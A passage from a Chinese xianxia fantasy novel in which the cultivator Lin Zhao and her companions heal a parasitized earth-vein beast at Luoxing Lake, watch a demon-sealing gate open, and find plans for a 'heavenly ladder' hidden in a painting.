“秦长老,”修士连忙行礼,“这几位想进谷看湖,我说宗主有令禁止外人进入,但他们……”
秦长老看向林照四人,目光在沈不言腰间裹着布条的剑上停留了一瞬,又在林照脸上顿了顿:“诸位是……”
“游历修士。”林照说,“途经此地,听闻落星湖灵泉枯竭,想看看能否帮上忙。”
“帮忙?”秦长老苦笑,“我们流云宗在此经营三年,布下三重阵法,请了三位阵法师,都查不出原因。诸位……能帮什么忙?”
林照想了想,说:“我不懂阵法,但我懂地。”
“地?”
“嗯。”林照点头,“我从小种地,知道土地有脾气,有水脉,有呼吸。灵泉枯竭,也许是地脉出了问题。我能试着……感受一下。”
秦长老看着她,眼中闪过一丝讶异。种地?这姑娘看起来不像农人。但她眼神清澈,语气诚恳,不像是说谎。
他沉吟片刻:“好吧。但只能在外围看看,不能靠近湖心。而且……要由我陪同。”
“多谢长老。”
进入落星谷,雾气更浓了。
谷中草木茂盛,但很多植物已经开始枯萎。靠近湖边的几棵老树,叶子黄了大半,无精打采地垂着。空气中那股腐败的腥气更重了,还夹杂着一丝硫磺味。
湖不大,约莫百丈方圆。湖水本是碧绿色,现在却泛着浑浊的黄,湖面上漂浮着一些死鱼,鱼肚翻白,散发恶臭。湖心有处明显的漩涡,那就是泉眼所在,但此刻涌出的水很小,像老人干涸的泪腺。
湖岸上,十几个流云宗弟子正在忙碌。有的在检查阵法阵旗,有的在测量水位,有的在记录数据。个个神色凝重。
秦长老带林照四人走到湖边一处高地,这里视野较好,能看清整个湖面。
“三个月前,这里还不是这样。”秦长老叹息,“那时湖水清澈见底,泉眼涌出的水柱有三尺高,热气腾腾,灵气氤氲。湖边草木繁盛,泉灵常在水中嬉戏,一派生机。”
他指着湖面:“但现在……你们也看见了。”
林照闭上眼,调动感知。
她“看”到了。
湖底的地脉,像一条受伤的龙,蜷缩着,颤抖着。龙身上有一道深深的伤口——不是物理的伤口,是地脉的“断点”。灵气从断点处泄露,不是外泄到空气中,是内泄到……更深的地方。
像水管破了个洞,水不是喷出来,是渗进地底去了。
渗到哪里去了?
她顺着泄露的方向追溯,感知沿着地脉向下,向下,再向下。很深,很深,深到地底百丈、千丈。那里有一片巨大的空腔,空腔里……有什么东西在吸收灵气。
不是主动吸收,是被动吞噬。像黑洞,像漩涡,贪婪地、无止境地吞噬着从断点泄露的灵气。
那是什么?
林照想看得更清楚些,但感知刚到空腔边缘,就被一股强大的斥力弹了回来。她闷哼一声,踉跄后退,被沈不言扶住。
“怎么了?”沈不言问。
“地底……有东西。”林照脸色苍白,“在吞噬灵气。”
秦长老脸色大变:“当真?”
“嗯。”林照点头,“灵泉枯竭,不是因为地脉堵塞,是因为地脉被‘咬’断了。灵气顺着断点泄露到地底,被某个东西吸走了。”
“什么东西能吸走地脉灵气?”陈砚骇然。
“不知道。”林照摇头,“但那个东西……很饿。非常饿。”
所有人都沉默了。
如果地底真有个能吞噬地脉灵气的东西,那落星湖的危机只是开始。那东西吸干了落星湖的灵泉,下一步会吸哪里?周围的村庄?城镇?还是……顺着地脉一路吸过去?
“必须找到它,阻止它。”秦长老咬牙,“否则这一带的地脉都会遭殃。”
“怎么找?”李慕云问,“地底千丈,我们下不去。”
林照忽然想起师父留下的天地树种子。天地树能连天接地,根系能深入地下,感知地脉。如果在这里种一棵天地树,是不是能探明地底的情况?
但这个念头只是一闪而过。天地树种子只有一枚,已经种在晒谷观了。而且就算有第二枚,她也不能随便种——谁知道地底那个东西,会不会连天地树的灵气一起吸走?
正思忖间,湖面忽然起了变化。
浑浊的湖水开始翻涌,像烧开的水,咕嘟咕嘟冒泡。气泡破裂,释放出浓烈的硫磺味。湖心的漩涡急速旋转,越转越快,越转越大,形成了一个直径丈许的漏斗状漩涡。
“退后!”秦长老大喝。
所有人急忙后退。
漩涡中心,忽然探出一只爪子。
不是鱼的鳍,不是龟的足,是一只布满鳞片的、粗壮的爪子。爪子有五趾,趾尖锋利如钩,在夕阳下泛着幽蓝的光。
爪子扒住漩涡边缘,用力一撑——
一个庞然大物从湖中缓缓升起。
它形似巨龟,但背上没有龟壳,而是覆盖着层层叠叠的骨板,骨板边缘尖锐如刀。头颅似龙非龙,头顶有独角,角上缠绕着电光。眼睛是浑浊的黄色,瞳孔竖立,透着疯狂和痛苦。
它张开嘴,发出一声震耳欲聋的咆哮。
不是兽吼,是某种古老的、来自地底深处的语言,音节晦涩,但所有人都听懂了其中的意思——
“饿……好饿……”
“这是……什么?”陈砚声音发颤。
“地脉兽。”沈不言沉声道,“地脉灵气孕育出的精怪,本该沉睡在地底,守护地脉。但它……好像变异了。”
秦长老脸色惨白:“我们查了三个月,以为是阵法出了问题,原来是这畜生在作祟!”
地脉兽完全爬出水面,身躯有三丈长,两丈高,像一座移动的小山。它每走一步,地面都在震动,湖岸边的草木以肉眼可见的速度枯萎。
它转过头,浑浊的黄眼睛盯着岸上的人,喉咙里发出“咕噜咕噜”的声音,像是在说:食物……灵气……给我……
“结阵!”秦长老大喝。
流云宗弟子迅速结成一个剑阵,十几柄长剑指向地脉兽,剑光交织成网,试图困住它。
地脉兽不屑地喷了个鼻息,鼻孔里喷出的不是气,是炽热的岩浆流!岩浆落在地上,烧出一个个焦黑的坑洞。剑阵瞬间被破,几个弟子被岩浆溅到,惨叫着倒地。
秦长老咬牙,拔剑冲上。他的剑法不错,剑光如练,刺向地脉兽的眼睛。但剑尖还未触及,地脉兽头一摆,独角撞在剑上——
“铛!”
秦长老连人带剑被撞飞出去,重重摔在地上,口吐鲜血。
地脉兽迈开步子,朝秦长老走来。它饿了,而修行者的血肉和灵气,对它来说是最好的食物。
眼看秦长老就要殒命——
一道剑光亮起。
很淡,很细,像一缕月光,像一丝清风。但就是这道不起眼的剑光,精准地刺在地脉兽前爪的关节处。
不是硬刺,是顺着鳞片的缝隙,贴着骨板的边缘,像庖丁解牛,像绣娘穿针,自然而然地刺了进去。
“噗嗤。”
剑入三寸。
地脉兽吃痛,发出一声怒吼,转头看向出剑的人——
沈不言。
他持剑而立,剑身上没有血迹,因为刺入的不是血肉,是关节的缝隙。他没有乘胜追击,只是平静地看着地脉兽,说:“回去。”
声音不大,但
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很清晰。
地脉兽浑浊的眼睛里闪过一丝挣扎。它认得这个气息——不是强大,是纯粹。纯粹的剑意,纯粹的杀气,纯粹的……守护之意。
它也是守护者,守护地脉的守护者。只是它饿了,太饿了,饿到失去了理智。
“饿……”它低吼。
“我知道。”沈不言说,“但吃人,不是你的道。”
地脉兽沉默了。它庞大的身躯在颤抖,像是在和体内的饥饿搏斗。
这时,林照走了出来。
她没有拔斧头,没有结法印,只是走到地脉兽面前,仰头看着它。
然后,她伸出手,按在地脉兽的前爪上。
不是攻击,是感知。
她闭上眼睛,将感知顺着地脉兽的爪子,探入它的身体。
她“看”到了。
地脉兽的身体里,有一个巨大的空洞——在心脏的位置。空洞里,盘踞着一团黑色的、黏稠的东西,像污泥,像腐肉,在不停蠕动,不停吞噬着地脉兽自身的灵气,也通过地脉兽,吞噬着地脉的灵气。
那东西,才是真正的“饿鬼”。
地脉兽不是想害人,是被这东西控制了,被迫吞噬灵气来喂养它。
林照睁开眼睛,看向地脉兽的眼睛:“你身体里……有东西。”
地脉兽眼中闪过一丝痛苦,点头。
“我能帮你取出来。”林照说,“但过程会很痛,而且……你可能也会死。”
地脉兽沉默了很久,最终,它低下头,用独角轻轻碰了碰林照的手——这是臣服,也是托付。
它选择相信这个人类。
哪怕可能会死。
林照深吸口气,对沈不言说:“沈先生,我需要你帮我。在我取出那东西时,它肯定会反抗。你要用剑气封住它的经脉,不让它暴走。”
沈不言点头:“好。”
她又看向陈砚和李慕云:“你们带流云宗的人退远些,布下防护结界。等下可能会有……不好的东西出来。”
两人立刻照办。
林照重新闭上眼睛,双手按在地脉兽的前爪上。
这一次,不是感知,是“引导”。
她引导着天地树传给她的地脉之力——虽然很微弱,但足够纯净——顺着地脉兽的经脉,流向它心脏处的空洞。
地脉之力像清泉,流过干涸的河床。地脉兽舒服地低吟一声,身体放松了些。
林照继续引导,地脉之力像手术刀,小心翼翼地切向那团黑色的东西。
碰触的瞬间,黑色东西剧烈反抗!
它伸出无数触手,缠向地脉之力,想要吞噬它。但地脉之力很纯净,很坚韧,像最细的丝线,割断了触手,继续深入。
地脉兽发出痛苦的嘶吼,身体剧烈颤抖。
沈不言立刻出剑。不是攻击,是点在它周身大穴上,剑气封住经脉,不让黑色东西逃窜。
林照额头冒汗,但她没停。地脉之力像剥洋葱一样,一层一层剥离黑色东西与地脉兽心脏的连接。
终于,最后一根连接被切断!
黑色东西完全脱离,在地脉兽的心脏空洞里疯狂蠕动,想要重新寄生。但林照早有准备——她引导地脉之力形成一个牢笼,将黑色东西困在其中。
然后,她猛地一拉——
“出来!”
黑色东西被地脉之力硬生生从地脉兽体内扯了出来!
那是一个拳头大小的肉球,表面布满血管和眼睛,眼睛还在眨动,恶心至极。它一离开地脉兽身体,立刻想逃,但沈不言的剑气已经布下天罗地网。
林照举起手——手中不知何时多了一个陶罐,正是她随身带的那个装药草的陶罐。她打开盖子,将罐口对准黑色肉球。
“收!”
地脉之力裹挟着肉球,飞入陶罐。林照立刻盖上盖子,贴上几张符纸——是陈砚给她的,说是他爹从道观求来的驱邪符。
陶罐剧烈震动,里面的东西在疯狂冲撞。但符纸发出金光,牢牢封住了罐口。
震动渐渐平息。
地脉兽发出一声解脱的呻吟,庞大的身躯缓缓趴下,眼睛里的浑浊褪去,恢复了清澈的蓝色。它感激地看着林照,用头轻轻蹭了蹭她的手。
秦长老在弟子的搀扶下走过来,看着陶罐,心有余悸:“这……这是什么东西?”
“不知道。”林照摇头,“但它能寄生在地脉兽体内,吞噬灵气,肯定不是凡物。”她顿了顿,“我建议你们立刻封锁落星湖,彻查湖底,看看还有没有这种东西。”
秦长老连连点头:“是,是,多谢姑娘救命之恩!不知姑娘尊姓大名?”
“林照。”
“林姑娘大恩,流云宗铭记在心。”秦长老深深一躬,“日后若有需要,尽管开口。”
林照摆摆手,看向地脉兽。它已经恢复了神智,但很虚弱。她从怀里取出那瓶天地树下的土,倒出一些,撒在地脉兽的伤口上。
土沾到伤口的瞬间,冒出淡淡的白烟,伤口以肉眼可见的速度愈合。
地脉兽舒服地眯起眼睛,蹭了蹭她的手,然后缓缓爬回湖中。它需要回到地底,休养生息。
湖面恢复了平静。浑浊的湖水开始澄清,泉眼重新涌出细流——虽然还很微弱,但至少不再枯竭了。
林照看着陶罐,眉头紧锁。
这东西,是从哪里来的?
为什么能寄生在地脉兽体内?
和地底那个吞噬灵气的空腔,有没有关系?
她不知道。
但她知道,这件事,还没完。
24. 湖底石门
地脉兽回归湖底三日后,落星湖的水彻底清了。
湖面碧绿如翡翠,湖心泉眼重新涌出三尺高的水柱,热气腾腾,灵气氤氲。岸边的草木虽然还没完全恢复生机,但枯黄已退,新芽初绽。流云宗上下对林照四人感激涕零,秦长老更是将四人奉为上宾,安排在湖边最好的竹舍里。
但林照没心思享受。
她整日盯着那个陶罐。
罐子还在,符纸还贴着,里面的黑色肉球已经不再冲撞,但每晚子时,罐身还是会微微发烫,罐底传来极细微的、有节奏的搏动声——像心跳。
那东西还活着。
而且,它在成长。
林照试过用天地树下的土包裹陶罐,土能压制它的活性,但无法杀死它。她也试过用火烧,用冰冻,甚至用沈不言的剑气切割——都没用。那东西的韧性超乎想象,断成两截还能重新融合,烧成灰烬还能从灰里重生。
它像某种……不死不灭的诅咒。
第四日清晨,秦长老来找林照,脸色凝重:“林姑娘,我们在清理湖底时,发现了一些东西。”
“什么?”
“一道石门。”秦长老说,“在湖底最深处,泉眼正下方三十丈。石门上刻满了古篆,还有……和你那个陶罐里东西很像的图案。”
林照心头一紧:“带我去看。”
落星湖不大,但很深。湖心处水深超过五十丈,光线很难透到底。流云宗准备了避水珠和照明符,秦长老亲自带路,林照四人跟着下水。
湖水很凉,越往下越冷。照明符的光芒在水中晕开,照亮了幽暗的湖底世界。水草摇曳,鱼群穿梭,偶尔能看到一些沉船的残骸,还有一些……白骨。
不是鱼骨,是人骨。有些已经腐朽,有些还很完整,保持着手握武器或结印施法的姿势。
“这些都是探索湖底的前辈。”秦长老传音道,“落星湖自古就有灵泉,吸引了不少修士来寻宝。但湖底有古修禁制,很多人下去就再没上来。”
继续下潜。
三十丈深处,泉眼正下方,果然有一道石门。
门是青灰色的,不知什么材质,在湖水中浸泡千年不腐。门高两丈,宽一丈,门楣上刻着三个古篆大字:
“镇渊门”。
门板上,刻满了密密麻麻的篆文,还有一些诡异的图案——扭曲的人形,长满眼睛的肉团,张开的巨口……和陶罐里那黑色肉球身上的纹路,有七分相似。
门缝紧闭,但门缝里渗出丝丝缕缕的黑气。黑气在水中弥散,所过之处,水草枯萎,鱼群回避。
林照游近,伸手触摸石门。
触手冰凉,但石质温润,像玉。她能感觉到,石门内部有什么东西在震动,在呼唤,在……等待。
“这门……什么时候出现的?”她问秦长老。
“不知道。”秦长老摇头,“我们流云宗占据落星湖三年,从未发现此门。是地脉兽被救治后,湖底震动,泥沙翻涌,才露出这门一角。我们清理了周围的淤泥,才看清全貌。”
林照绕着石门游了一圈。门嵌在山体里,和周围的岩石浑然一体,像是从山体内部长出来的。门缝严丝合缝,没有锁孔,没有把手,不知如何开启。
但她注意到,石门正中央,有一个浅浅的凹槽。凹槽的形状……很眼熟。
像一枚种子。
像天地树的种子。
她心头一震,从怀里取出天地树种子的木盒——虽然种子已经种在晒谷观了,但木盒她还带着。她把木盒对准凹槽比了比,大小、形状,完全吻合。
“这门……需要天地树的种子才能打开?”陈砚传音道。
“恐怕是。”林照皱眉,“但种子已经种下了,总不能挖出来。”
“就算有种子,也不该开。”沈不言忽然说,“门上写着‘镇渊’,镇的是深渊。深渊里,通常镇着不该出来的东西。”
他指着门缝渗出的黑气:“这黑气,和陶罐里那东西的气息很像。开门,可能会放出更可怕的东西。”
众人都沉默了。
确实,这道石门给人的感觉很不祥。镇渊门,镇的是“渊”。渊是什么?深渊?邪祟?还是……地底那个吞噬灵气的空腔?
林照想起地脉兽心脏里那团黑色肉球。那东西是从哪里来的?会不会就是从这道门里逃出来的?
“先上去。”她说,“从长计议。”
众人点头,准备上浮。
就在这时,异变突生。
林照怀里的陶罐,忽然剧烈震动起来!罐身上的符纸“嗤嗤”燃烧,眨眼间烧成灰烬。罐盖“砰”地弹开,黑色肉球从罐中窜出,直扑石门!
它速度极快,像一道黑色闪电。沈不言反应更快,剑气后发先至,斩在肉球上。肉球被斩成两半,但两半在空中一扭,重新融合,继续前冲。
“拦住它!”秦长老大喝。
流云宗弟子结阵拦截,但肉球灵活得像泥鳅,从剑阵缝隙中钻过,一头撞在石门正中的凹槽上。
“嗡——”
石门震动。
不是门板震动,是整个山体在震动。湖底泥沙翻涌,湖水剧烈动荡。石门上的篆文开始发光——不是金光,是诡异的红光,像血,像火。
凹槽处,肉球开始融化,像黑色的蜡烛,融化进凹槽里。凹槽被填满,石门上的红光更盛。
“它在……献祭自己开门?”李慕云骇然。
“不能让它得逞!”林照咬牙,拔出斧头冲上去。
但已经晚了。
肉球完全融化,凹槽被填满的瞬间,石门发出一声沉闷的轰鸣——
“轰隆!”
门开了。
不是两扇门板向两侧打开,是整道石门向内坍塌,露出一个黑漆漆的洞口。洞口里涌出浓烈的黑气,瞬间染黑了方圆十丈的湖水。黑气所过之处,一切生命都在凋零。
“退!快退!”秦长老大吼。
所有人拼命上浮。
林照最后看了一眼洞口。黑暗中,她看见了一双眼睛——巨大、浑浊、布满血丝的眼睛,正从洞底深处望上来。
那双眼睛眨了眨,然后,洞口传来一声低沉的、满足的叹息:
“饿……”
众人浮出水面时,个个脸色惨白。
不是累的,是吓的。那双眼睛带来的压迫感,比地脉兽强大十倍、百倍。那不是凡间该有的东西。
“那到底是什么?”陈砚喘着气问。
没人回答。
秦长老立刻下令:“封锁湖面!布下三重防御阵法!所有弟子撤离湖边三里,没有命令不得靠近!”
流云宗上下乱成一团。
林照四人回到竹舍,换了干衣服,围坐在桌边,神色凝重。
“门开了。”李慕云打破沉默,“里面的东西……恐怕不是我们能对付的。”
“但它还没出来。”沈不言说,“石门虽然开了,但洞口有禁制。那双眼睛只是在洞口张望,没有冲出来。说明禁制还在起作用,只是……被削弱了。”
“削弱了多少?”陈砚问。
沈不言摇头:“不知道。”
林照一直沉默,手指无意识地敲着桌面。她在想那双眼睛,想那声“饿”,想陶罐里的肉球献祭自己开门的行为。
肉球是门里那东西的一部分?还是它的后代?或者……是它投放到外界的“种子”?
地脉兽被寄生,灵泉被吞噬,都是为了喂养门里那东西?
如果真是这样,那东西得饿到什么程度,才会不惜牺牲自己的“种子”来开门?
“我们需要更多信息。”她站起身,“关于这道石门,关于‘镇渊门’,关于湖底的古修遗迹——流云宗在这里三年,应该收集了不少资料。”
秦长老很快被请来。
听到林照要查资料,他苦笑:“林姑娘,不瞒你说,我们流云宗虽然占据落星湖三年,但对湖底的了解……很少。”他顿了顿,“不是我们不想查,是查不了。湖底有古修禁制,金丹以下下去必死。我们宗主是金丹初期,也只敢在外围探查,不敢深入。”
“一点线索都没有?”
“有是有,但……”秦长老犹豫了一下,“那些资料都在宗主那里。宗主半月前外出访友,至今未归。”
林照皱眉:“什么时候能回来?”
“不好说。”秦长老摇头,“宗主行踪不定,短则三五日,长则一两年。”
等不了了。
石门已开,里面的东西随时可能冲出来。如果那东西真如猜测的那样恐怖,整个落星谷,甚至方圆百里,都要遭殃。
“还有其他办法吗?”李慕云问。
秦长老想了很久,忽然眼睛一亮:“对了!谷外三十里有个小镇,镇上有间‘百晓书斋’,专门收集各种古籍秘闻。书斋老板是个怪人,自称‘百晓生’,据说知道天下所有秘事——只要付得起价钱。”
林照立刻起身:“走,去书斋。”
百晓书斋在小镇最僻静的一条巷子里。
门面不大,木匾斑驳,门半掩着。推门进去,一股陈旧的书卷气扑面而来。书架上堆满了书,桌上、地上也都是书,几乎无处下脚。一个干瘦的老头坐在柜台后,戴着老花镜,正捧着一本泛黄的古籍看得入神。
“老板。”秦长老上前。
老头头也不抬:“买书自己看,借书押金十两,问事……看问什么。”
林照直接说:“问落星湖底的‘镇渊门’。”
老头手里的书“啪”地掉在桌上。
他抬起头,老花镜后的眼睛浑浊但锐利,上下打量林照:“你……看见那门了?”
“看见了。”
“门开了?”
“开了。”
老头倒吸一口凉气,喃喃道:“这么快……”他站起身,在满屋的书堆里翻找,很快找出一本破旧的羊皮册子,扔在桌上:“自己看。三页之后,关于‘镇渊门’。”
林照翻开册子。
册子是用古篆写的,字迹潦草,但还能辨认。前三页是落星湖的传说和历史,第四页开始,提到了“镇渊门”。
“……落星湖非天然形成,乃古修‘镇渊子’以神通所凿。镇渊子感地底有魔物苏醒,欲破土而出,遂引天星之力,凿湖布阵,以湖为眼,以门为锁,镇魔物于九幽之下。魔物名‘噬灵’,以天地灵气为食,永不知饱。镇渊子与之战三百日,终以‘天地树’为钥,封其于‘镇渊门’内。然噬灵不死不灭,镇渊子预言:千年之后,封印必衰,噬灵将再临人间……”
林照的手在颤抖。
噬灵。吞噬灵气的魔物。地底空腔里那个贪婪吞噬灵气的东西,果然是它。
“继续往下看。”老头说。
林照翻到下一页。
“……镇渊子封魔后,自知寿元将尽,遂在门内留三物:一为‘镇魔剑’,可伤噬灵;二为‘养灵土’,可滋养地脉;三为‘通天梯’图纸,言若有后人能登天梯,可借天力彻底诛魔。然镇渊门需‘天地树’为钥方能开启,而天地树三百年一现世,故千年来,无人能入……”
后面还有几页,记载了一些关于噬灵的传闻,还有镇渊子的生平。但林照已经看不下去了。
她脑子里只有一个念头:天地树是钥匙。但她把唯一的一枚种子种在了晒谷观。
现在门开了,钥匙没了。
“老板,”她抬头,“除了天地树的种子,还有其他办法开门吗?”
老头摇头:“没有。镇渊子当年就是以天地树为阵眼,镇压噬灵。树在,封印在;树枯,封印衰。现在门开了,说明天地树要么死了,要么……被移走了。”
林照心头一震。
移走了?她的种子是从师父那里得来的,难道师父当年……
她不敢想下去。
“那现在怎么办?”陈砚焦急道,“门已经开了,噬灵随时可能出来!”
“只能加固封印。”老头说,“趁它还没完全挣脱,重新封住门。但需要三样东西:镇魔剑、养灵土、还有……一个自愿献祭的修行者。”
“献祭?”
“嗯。”老头点头,“镇渊子当年是以自身血肉为引,才封住噬灵。后人若想封门,也需要有人做出同样的牺牲——将自身修为、血肉、魂魄,全部融入封印,成为封印的一部分。”
屋里一片死寂。
自愿献祭,意味着必死。而且不是简单的死,是魂飞魄散,永世不得超生。
谁会愿意?
“没有……别的办法吗?”李慕云声音干涩。
老头沉默了很久,缓缓道:“或许有。镇渊子留下了‘通天梯’图纸,若能建成天梯,借天力诛魔,就
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不需要献祭。但……”他苦笑,“天梯只是传说,谁也没见过图纸,更别说建了。”
通天梯。
林照想起师父信里的话:“天梯将现,勿登,观之。”
师父早就知道天梯的事?他知道落星湖有噬灵?他知道天地树是钥匙?
太多的疑问,像乱麻一样缠在心里。
“老板,”她问,“关于通天梯,你还知道什么?”
老头翻到册子最后一页:“只有一句话:‘天梯现世之日,仙门重开之时。然登梯者众,成仙者寡,多化枯骨。’”
登梯者众,成仙者寡。
这八个字,像冰水浇在每个人心头。
“所以,”沈不言忽然开口,“现在有两个选择:一是找个人献祭,封住镇渊门;二是找到通天梯图纸,建天梯,借天力诛魔。”
“但时间不多了。”秦长老脸色惨白,“门已经开了,噬灵随时可能冲出来。等我们找到图纸,建好天梯,恐怕整个东域都已经被它吸干了。”
确实,时间紧迫。
林照深吸口气:“先回湖边。看看封印还能撑多久,再决定怎么做。”
众人离开书斋。
走出巷子时,林照回头看了一眼。百晓生还坐在柜台后,捧着那本古籍,但目光却透过老花镜,远远地看着她,眼神复杂,像在怜悯,又像在期待。
她转回头,不再看。
回到落星湖时,天色已近黄昏。
湖面依然平静,但湖心的漩涡消失了,泉眼不再涌水。整个湖像一潭死水,寂静得可怕。湖面上空,流云宗布下的三重防御阵法光芒流转,但光芒很暗淡,像风中残烛。
秦长老检查了阵法,脸色更难看了:“阵法的灵力在急速流失。照这个速度,最多三天,阵法就会崩溃。”
三天。
留给他们的时间,只有三天。
竹舍里,五人相对无言。
献祭,还是找天梯?
献祭需要自愿者,在场谁愿意?就算有人愿意,牺牲一条命,真能封住噬灵千年吗?万一封不住,岂不是白死?
找天梯更渺茫。图纸在哪里?怎么建?建在哪里?建天梯需要多久?噬灵会等他们建好吗?
无解的死局。
夜幕降临,湖面起了雾。
林照一个人走到湖边,坐在一块岩石上,看着漆黑的湖面。湖水很深,深不见底。湖底有扇门,门里有只魔物,饿了千年,想要出来吃东西。
吃灵气,吃生命,吃一切有灵之物。
像一场注定的灾难。
她想起晒谷观,想起麦田,想起阿茸,想起孩子们。如果噬灵冲出来,晒谷观能幸免吗?那些平凡的麦子,温顺的羊,天真的孩子,都会被吸干灵气,化作枯骨吧?
还有沈不言,陈砚,李慕云,流云宗的弟子,附近的村民……所有人。
她不能眼睁睁看着这一切发生。
但献祭……她不怕死,但她死了,晒谷观怎么办?天地树怎么办?师父的传承怎么办?
她还有太多事没做,太多路没走,太多山没看。
可不献祭,又能怎样?
“在想什么?”
沈不言沈不言的声音从身后传来。
林照没回头:“在想,如果非要有人献祭,谁最合适。”
沈不言在她身边坐下:“你觉得谁合适?”
“我。”林照说,“我有天地树的气息,我的血可能对封印有用。而且……我是晒谷观的传人,师父把天地树种子留给我,也许早就料到会有这一天。”
沈不言沉默了很久。
然后他说:“我不同意。”
“为什么?”
“因为你不该死。”沈不言说,“你该活着,种你的麦子,走你的路,看你的山。该死的是那些作恶的人,是那些贪婪的魔物,不是你这样的种地人。”
林照笑了,笑里有泪:“沈先生,你总是这么……清醒。”
“不是清醒,是知道什么值得守护。”沈不言望着湖面,“我练剑,不是为了杀人,是为了守护。守护像你这样的人,守护像晒谷观这样的地方,守护那些平凡但珍贵的生命。”
他顿了顿:“所以,如果真要献祭,也该是我。我的剑气纯粹,对魔物有克制。我的命……没那么重要。”
“谁说你的命不重要?”林照转头看他,“陈砚、李慕云、流云宗的人,还有我——我们都觉得你很重要。”
沈不言没说话,只是看着她。月光下,他的眼神很静,很深,像落星湖的水。
两人就这么坐着,看着湖,看着月,看着这即将迎来灾难的人间。
不知过了多久,林照忽然说:“沈先生,你相信奇迹吗?”
“不信。”
“我也不信。”林照说,“但我相信人。相信人能在绝境里找到路,能在黑暗里点起灯,能在不可能里创造可能。”
她站起身:“所以,我不献祭,你也不献祭。我们一起找第三条路——那条镇渊子留下的,但没人走过的路。”
“通天梯?”
“嗯。”林照点头,“既然镇渊子留下了图纸,说明他相信有人能建成天梯。既然他相信,我们也该相信。”
她转身,看向竹舍方向:“明天一早,我们分头行动。秦长老带流云宗弟子加固封印,尽量拖延时间。陈砚和李慕云去查通天梯的线索——李慕云家里生意广,人脉多,也许能打听到什么。沈先生和我……”
“去晒谷观。”沈不言说。
林照一愣:“你怎么知道?”
“因为天地树在那里。”沈不言说,“既然天地树是钥匙,也许在树下,我们能找到关于通天梯的线索。而且……”他顿了顿,“阿茸能说话,也许不是偶然。它可能知道些什么。”
林照点头:“好,就这么办。”
她最后看了一眼落星湖。
湖面依然平静,但平静下面,暗流汹涌。
三天。
他们只有三天时间。
三天后,要么找到天梯,要么……用生命封门。
没有第三条路。
但她相信,会有。
就像麦子会在绝境里发芽,就像雨后会看见彩虹,就像黑夜过后总有黎明。
她会找到那条路。
一定会。
25. 梯在画里
当夜,五人议定计划。
秦长老留守落星湖,带领流云宗所有弟子加固封印——哪怕只能多撑一天、一个时辰,也是好的。陈砚和李慕云负责追查通天梯图纸的下落,以李家的商路与人脉为网,撒向整个东域修真界。
林照和沈不言,则在天亮前出发,赶回晒谷观。
月光清冷,山路崎岖。
两人都未说话,只埋头赶路。沈不言的剑偶尔出鞘半寸,斩断前方拦路的荆棘藤蔓;林照的脚步很稳,她背着一竹筒落星湖的清水——这是秦长老特意取的,说这水浸染过地脉灵气,或许对天地树有用。
行至半山腰,东方已露鱼肚白。
“歇一刻。”沈不言停在一处山泉旁。
林照确实累了。这几日心神紧绷,昨夜更是一夜未眠。她掬起山泉洗了把脸,凉意沁入肌肤,混沌的脑子清醒了些。
“沈先生,”她忽然问,“如果……我是说如果,我们找不到通天梯图纸,三天后封印破碎,你会怎么做?”
沈不言靠在一块山石上,擦拭剑身:“杀进去。”
“杀进镇渊门?”
“嗯。”他抬头,看向落星湖方向,“与其等它出来祸害人间,不如进去杀它。杀得了最好,杀不了……也能拖一拖,给你们争取时间。”
他说得平静,像在说一件再寻常不过的事。
林照心头一酸:“可那是送死。”
“有些事,比生死重要。”沈不言收剑入鞘,“你种麦子,不也如此?明知可能遇旱、遇涝、遇蝗灾,还是年年播种。因为人总要吃饭,总要活着——活着,就要有人去种地,也要有人去拔剑。”
这话朴实,却重如千钧。
林照看着这个总是沉默寡言的剑客。他像是山里的石头,冷硬,但可靠;又像他手中的剑,直来直往,不留余地。
“谢谢。”她轻声说。
沈不言摇头:“不用谢。走吧,还有一半路。”
抵达晒谷观时,已是第二日正午。
推开柴扉的瞬间,林照愣住了。
院子里的天地树,已经长到了三丈高。
这生长速度,快得不可思议。树干已有成人腰粗,树皮呈青玉色,隐隐有流光浮动。树冠如云,枝叶繁茂,每一片叶子都像翡翠雕成,在阳光下流转着温润的光泽。
更奇异的是树的根系。
它们已不再局限于小小的苗圃,而是如活物般向四面八方延伸。主根扎入地底深处,肉眼可见地脉灵气如溪流般被根系吸收;侧根则沿着地面蔓延,有的探入灶房,有的缠上石磨,有的甚至伸进了麦田——而那些被根系触碰过的麦苗,竟比周围的麦子高出一截,麦穗也更饱满。
整棵树,像一个扎根大地的活灵。
“咩——”
阿茸从树下跑过来,亲昵地蹭林照的手。它的角似乎又长长了些,尖端泛着淡淡的金光。
“阿茸,”林照蹲下身,摸着它的头,“你能说话,对不对?你知道些什么,对不对?”
阿茸抬起头,琥珀色的眼睛清澈如初。它张了张嘴,这次发出的不再是含糊的音节,而是一句完整的话:
“梯在画里。”
声音清脆,像七八岁的孩童。
林照心头一震:“梯在画里?什么意思?什么画?”
阿茸用角轻轻顶了顶林照的衣襟——那里放着周言的画稿。
林照立刻取出那叠画稿,一张张摊开在地上。
还是那些画:远山、麦田、石磨、云海、炊烟……每一张她都看过无数遍,除了笔触间蕴含的道韵,实在看不出特别之处。
“梯在哪里?”她焦急地问。
阿茸低下头,用鼻子碰了碰那张《云海图》。
林照拿起那张画。
画面很简单:一片浩渺云海,云海深处,隐约有一座山峰的轮廓。山峰极陡,像一根天柱,直插云霄。
她以前从未注意过这座山峰——因为它画得太淡了,淡得几乎融入云海。但此刻细看,她忽然发现,山峰的轮廓……不像自然山体,倒像人工建造的阶梯。
一级一级,盘旋而上,隐入云端。
“这是……天梯?”林照喃喃道。
沈不言也凑过来看:“若是天梯,为何画得如此隐秘?”
“因为周言不想让人轻易发现。”林照忽然明白了,“他画这些画,不是为了卖钱,是为了藏东西。藏一个秘密,一个只有能看见那座山的人才能看的懂的秘密。”
她仔细端详画纸的质地、墨迹的深浅、笔触的走向……忽然,她注意到一个细节:
画上的云海,并非纯白。
在某些光线角度下,云海中隐约有极淡的银色纹路——像某种阵法轨迹,又像……某种文字的笔画。
“需要特殊方法才能显现。”沈不言说,“比如……试一试用天地树的汁液?或者地脉灵气?”
林照立刻起身,走到天地树下。
她伸手触摸树干,温润如玉。指尖稍一用力,树皮便渗出一滴青绿色的汁液,清香扑鼻。她小心地用竹筒接了几滴,回到画前。
“试试。”
汁液滴在《云海图》上。
奇迹发生了。
汁液触及画纸的瞬间,那些淡银色的纹路骤然亮起!光芒流转,纹路连接、重组,最终在画面上显现出一行行细密的古篆文字——正是镇渊子笔记上的那种字体。
文字描述的不是风景,而是……
“通天梯建造图。”林照声音发颤,“第一部分:地基与灵脉接引。”
她继续往下看。
